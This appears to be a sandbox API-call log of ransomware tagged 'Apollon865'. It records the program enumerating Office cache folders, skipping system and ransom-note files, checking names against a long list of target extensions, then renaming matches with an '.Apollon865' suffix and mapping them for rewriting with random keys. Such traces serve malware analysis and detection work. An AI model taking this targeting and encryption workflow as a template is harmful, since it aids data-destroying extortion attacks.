	[0079.191] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0079.191] lstrlenW (lpString="rsd") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0079.191] lstrlenW (lpString="sas7bdat") returned 8
	[0079.191] lstrcmpiW (lpString1="tMUI.msi", lpString2="sas7bdat") returned 1
	[0079.191] lstrlenW (lpString="sbf") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0079.191] lstrlenW (lpString="scx") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0079.191] lstrlenW (lpString="sdb") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0079.191] lstrlenW (lpString="sdc") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0079.191] lstrlenW (lpString="sdf") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0079.191] lstrlenW (lpString="sis") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0079.191] lstrlenW (lpString="spq") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0079.191] lstrlenW (lpString="te") returned 2
	[0079.191] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0079.191] lstrlenW (lpString="teacher") returned 7
	[0079.191] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1
	[0079.191] lstrlenW (lpString="tmd") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0079.191] lstrlenW (lpString="tps") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0079.191] lstrlenW (lpString="trc") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0079.191] lstrlenW (lpString="trc") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0079.191] lstrlenW (lpString="trm") returned 3
	[0079.191] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0079.191] lstrlenW (lpString="udb") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0079.192] lstrlenW (lpString="udl") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0079.192] lstrlenW (lpString="usr") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0079.192] lstrlenW (lpString="v12") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0079.192] lstrlenW (lpString="vis") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0079.192] lstrlenW (lpString="vpd") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0079.192] lstrlenW (lpString="vvv") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0079.192] lstrlenW (lpString="wdb") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0079.192] lstrlenW (lpString="wmdb") returned 4
	[0079.192] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0079.192] lstrlenW (lpString="wrk") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0079.192] lstrlenW (lpString="xdb") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0079.192] lstrlenW (lpString="xld") returned 3
	[0079.192] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0079.192] lstrlenW (lpString="xmlff") returned 5
	[0079.192] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1
	[0079.192] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1
	[0079.192] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.192] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="Apollon865.txt.exe") returned 1
	[0079.192] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".") returned 1
	[0079.192] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="..") returned 1
	[0079.192] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="windows") returned -1
	[0079.192] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="bootmgr") returned 1
	[0079.192] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="temp") returned -1
	[0079.192] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="pagefile.sys") returned 1
	[0079.192] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="boot") returned 1
	[0079.193] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="ids.txt") returned 1
	[0079.193] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="ntuser.dat") returned 1
	[0079.193] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="perflogs") returned 1
	[0079.193] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="MSBuild") returned 1
	[0079.193] lstrlenW (lpString="PowerPointMUI.xml") returned 17
	[0079.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0079.193] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PowerPointMUI.xml" | out: lpString1="PowerPointMUI.xml") returned="PowerPointMUI.xml"
	[0079.193] lstrlenW (lpString="PowerPointMUI.xml") returned 17
	[0079.193] lstrlenW (lpString="Apollon865") returned 10
	[0079.193] lstrcmpiW (lpString1="intMUI.xml", lpString2="Apollon865") returned 1
	[0079.193] lstrlenW (lpString=".dll") returned 4
	[0079.193] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".dll") returned 1
	[0079.193] lstrlenW (lpString=".lnk") returned 4
	[0079.193] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".lnk") returned 1
	[0079.193] lstrlenW (lpString=".ini") returned 4
	[0079.193] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".ini") returned 1
	[0079.193] lstrlenW (lpString=".sys") returned 4
	[0079.193] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".sys") returned 1
	[0079.193] lstrlenW (lpString="PowerPointMUI.xml") returned 17
	[0079.193] lstrlenW (lpString="bak") returned 3
	[0079.193] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0079.193] lstrlenW (lpString="ba_") returned 3
	[0079.193] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0079.193] lstrlenW (lpString="dbb") returned 3
	[0079.193] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0079.193] lstrlenW (lpString="vmdk") returned 4
	[0079.193] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0079.193] lstrlenW (lpString="rar") returned 3
	[0079.193] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0079.193] lstrlenW (lpString="zip") returned 3
	[0079.193] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0079.193] lstrlenW (lpString="tgz") returned 3
	[0079.193] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0079.193] lstrlenW (lpString="vbox") returned 4
	[0079.193] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0079.193] lstrlenW (lpString="vdi") returned 3
	[0079.194] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0079.194] lstrlenW (lpString="vhd") returned 3
	[0079.194] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0079.194] lstrlenW (lpString="vhdx") returned 4
	[0079.194] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0079.194] lstrlenW (lpString="avhd") returned 4
	[0079.194] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0079.194] lstrlenW (lpString="db") returned 2
	[0079.194] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0079.194] lstrlenW (lpString="db2") returned 3
	[0079.194] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0079.194] lstrlenW (lpString="db3") returned 3
	[0079.194] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0079.194] lstrlenW (lpString="dbf") returned 3
	[0079.194] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0079.194] lstrlenW (lpString="mdf") returned 3
	[0079.194] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0079.194] lstrlenW (lpString="mdb") returned 3
	[0079.194] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0079.194] lstrlenW (lpString="sql") returned 3
	[0079.194] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0079.194] lstrlenW (lpString="sqlite") returned 6
	[0079.194] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1
	[0079.194] lstrlenW (lpString="sqlite3") returned 7
	[0079.194] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1
	[0079.194] lstrlenW (lpString="sqlitedb") returned 8
	[0079.194] lstrcmpiW (lpString1="tMUI.xml", lpString2="sqlitedb") returned 1
	[0079.194] lstrlenW (lpString="xml") returned 3
	[0079.194] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0079.194] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.Apollon865") returned 91
	[0079.194] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0079.195] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0079.195] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1450) returned 1
	[0079.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.196] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.196] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0079.196] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0079.196] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0079.196] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0079.197] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0xd8
	[0079.199] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000
	[0079.203] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0079.204] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0079.204] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0079.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0079.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0079.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0079.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0079.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.205] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.217] CloseHandle (hObject=0xd8) returned 1
	[0079.217] CloseHandle (hObject=0x150) returned 1
	[0079.218] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.218] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0079.218] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.218] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2=".") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="..") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="windows") returned -1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="bootmgr") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="temp") returned -1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="pagefile.sys") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="boot") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="ids.txt") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="ntuser.dat") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="perflogs") returned 1
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2="MSBuild") returned 1
	[0079.218] lstrlenW (lpString="PptLR.cab") returned 9
	[0079.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0079.218] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PptLR.cab" | out: lpString1="PptLR.cab") returned="PptLR.cab"
	[0079.218] lstrlenW (lpString="PptLR.cab") returned 9
	[0079.218] lstrlenW (lpString="Apollon865") returned 10
	[0079.218] lstrlenW (lpString=".dll") returned 4
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2=".dll") returned 1
	[0079.218] lstrlenW (lpString=".lnk") returned 4
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2=".lnk") returned 1
	[0079.218] lstrlenW (lpString=".ini") returned 4
	[0079.218] lstrcmpiW (lpString1="PptLR.cab", lpString2=".ini") returned 1
	[0079.219] lstrlenW (lpString=".sys") returned 4
	[0079.219] lstrcmpiW (lpString1="PptLR.cab", lpString2=".sys") returned 1
	[0079.219] lstrlenW (lpString="PptLR.cab") returned 9
	[0079.219] lstrlenW (lpString="bak") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0079.219] lstrlenW (lpString="ba_") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0079.219] lstrlenW (lpString="dbb") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0079.219] lstrlenW (lpString="vmdk") returned 4
	[0079.219] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0079.219] lstrlenW (lpString="rar") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0079.219] lstrlenW (lpString="zip") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0079.219] lstrlenW (lpString="tgz") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0079.219] lstrlenW (lpString="vbox") returned 4
	[0079.219] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0079.219] lstrlenW (lpString="vdi") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0079.219] lstrlenW (lpString="vhd") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0079.219] lstrlenW (lpString="vhdx") returned 4
	[0079.219] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0079.219] lstrlenW (lpString="avhd") returned 4
	[0079.219] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0079.219] lstrlenW (lpString="db") returned 2
	[0079.219] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0079.219] lstrlenW (lpString="db2") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0079.219] lstrlenW (lpString="db3") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0079.219] lstrlenW (lpString="dbf") returned 3
	[0079.219] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0079.219] lstrlenW (lpString="mdf") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0079.220] lstrlenW (lpString="mdb") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0079.220] lstrlenW (lpString="sql") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0079.220] lstrlenW (lpString="sqlite") returned 6
	[0079.220] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0079.220] lstrlenW (lpString="sqlite3") returned 7
	[0079.220] lstrcmpiW (lpString1="tLR.cab", lpString2="sqlite3") returned 1
	[0079.220] lstrlenW (lpString="sqlitedb") returned 8
	[0079.220] lstrcmpiW (lpString1="ptLR.cab", lpString2="sqlitedb") returned -1
	[0079.220] lstrlenW (lpString="xml") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0079.220] lstrlenW (lpString="$er") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0079.220] lstrlenW (lpString="4dd") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0079.220] lstrlenW (lpString="4dl") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0079.220] lstrlenW (lpString="^^^") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0079.220] lstrlenW (lpString="abs") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0079.220] lstrlenW (lpString="abx") returned 3
	[0079.220] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0079.220] lstrlenW (lpString="accdb") returned 5
	[0079.220] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0079.220] lstrlenW (lpString="accdc") returned 5
	[0079.220] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0079.220] lstrlenW (lpString="accde") returned 5
	[0079.220] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0079.220] lstrlenW (lpString="accdr") returned 5
	[0079.220] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0079.220] lstrlenW (lpString="accdt") returned 5
	[0079.220] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0079.220] lstrlenW (lpString="accdw") returned 5
	[0079.220] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0079.221] lstrlenW (lpString="accft") returned 5
	[0079.221] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0079.221] lstrlenW (lpString="adb") returned 3
	[0079.221] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0079.221] lstrlenW (lpString="adb") returned 3
	[0079.221] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0079.221] lstrlenW (lpString="ade") returned 3
	[0079.221] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0079.221] lstrlenW (lpString="adf") returned 3
	[0079.221] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0079.221] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0079.221] lstrlenW (lpString="Setup.xml") returned 9
	[0079.221] lstrlenW (lpString="Apollon865") returned 10
	[0079.221] lstrlenW (lpString=".dll") returned 4
	[0079.221] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0079.221] lstrlenW (lpString=".lnk") returned 4
	[0079.221] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0079.221] lstrlenW (lpString=".ini") returned 4
	[0079.222] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0079.222] lstrlenW (lpString=".sys") returned 4
	[0079.222] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0079.222] lstrlenW (lpString="Setup.xml") returned 9
	[0079.222] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0079.222] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0079.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0079.223] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1886) returned 1
	[0079.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0079.223] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0079.224] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0079.224] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0079.224] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa60, lpName=0x0) returned 0xd8
	[0079.225] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa60) returned 0x100000
	[0079.227] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0079.228] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0079.228] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0079.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0079.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0079.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0079.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0079.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.228] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.228] CloseHandle (hObject=0xd8) returned 1
	[0079.228] CloseHandle (hObject=0x150) returned 1
	[0079.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0079.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.229] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0079.229] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0079.229] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7890
	[0079.229] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C"
